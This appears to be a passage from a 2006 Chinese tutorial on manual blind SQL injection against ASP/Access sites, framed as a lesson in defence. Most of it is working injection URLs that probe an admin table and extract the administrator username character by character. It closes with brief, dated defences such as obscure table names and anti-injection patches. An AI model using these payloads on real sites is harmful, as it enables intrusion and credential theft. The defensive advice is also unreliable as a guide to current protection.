安全攻略access篇:从手工注入看防御
作者:刘震宇 来源:anqn 添加时间:2006-5-26 13:39:345.入侵者在得到表名后开始构造查询语句查询数据库字段名,向url提交如下语句:
http://127.0.0.1/111/view.asp?id=198 and exists(select user from admin)
这个语句是向数据库中admin表中查询是否存在user字段,如果存在则返回正常页面,如果不存在则返回出错页面。
7.接下来入侵者开始确定字段id的值,构造如下语句可以查询id的值:http://127.0.0.1/111/view.asp?id=198 and exists (select id from admin where id=1)
正确则返回正确页面,错误则返回出错页面。
6.表名和字段名猜测出来以后,入侵者开始构造查询语句猜测管理员帐号长度,向url提交如下语句:
http://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(user)<6 and id=1)
此语句为查询user字段中用户名长度范围,表示长度小于6,正确则返回正常页面,错误则返回出错页面。
缩小范围,然后构造如下语句确定用户名具体长度:
http://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(user)=5 and id=1)
正确则返回正常页面,错误则返回出错页面。
8.接下来入侵者开始进入最后的环节构造语句查询管理员用户名,向url提交如下语句:http://127.0.0.1/111/view.asp?id=198 and exists(select count(*) from admin where left(user,1)=’a’)
此语句是从用户名左边开始猜测用户名地一位为a,正确则返回正常页面,错误则返回出错页面,一位一位猜,猜第2位时,修改语句为(user,2)=’ad’,后面类推。
在入侵者得到用户名密码以后,此次注入就接近尾声了。
至于防范方法很简单,从上面的过程可以看出如果表名和字段名不在常用表名和字段名中则入侵者是使用社会工程学来猜解,如果管理员修改的表名和字段名足够复杂则入侵者依然不能达到目的,还有一种简单的防御方法就是到网上去下载一些防注入补丁程序打上就可以了,这种方法是修改站点文件,增加过滤语句来过滤入侵者提交的语句来达到防注入的,这里就不再给大家讲解其原理了。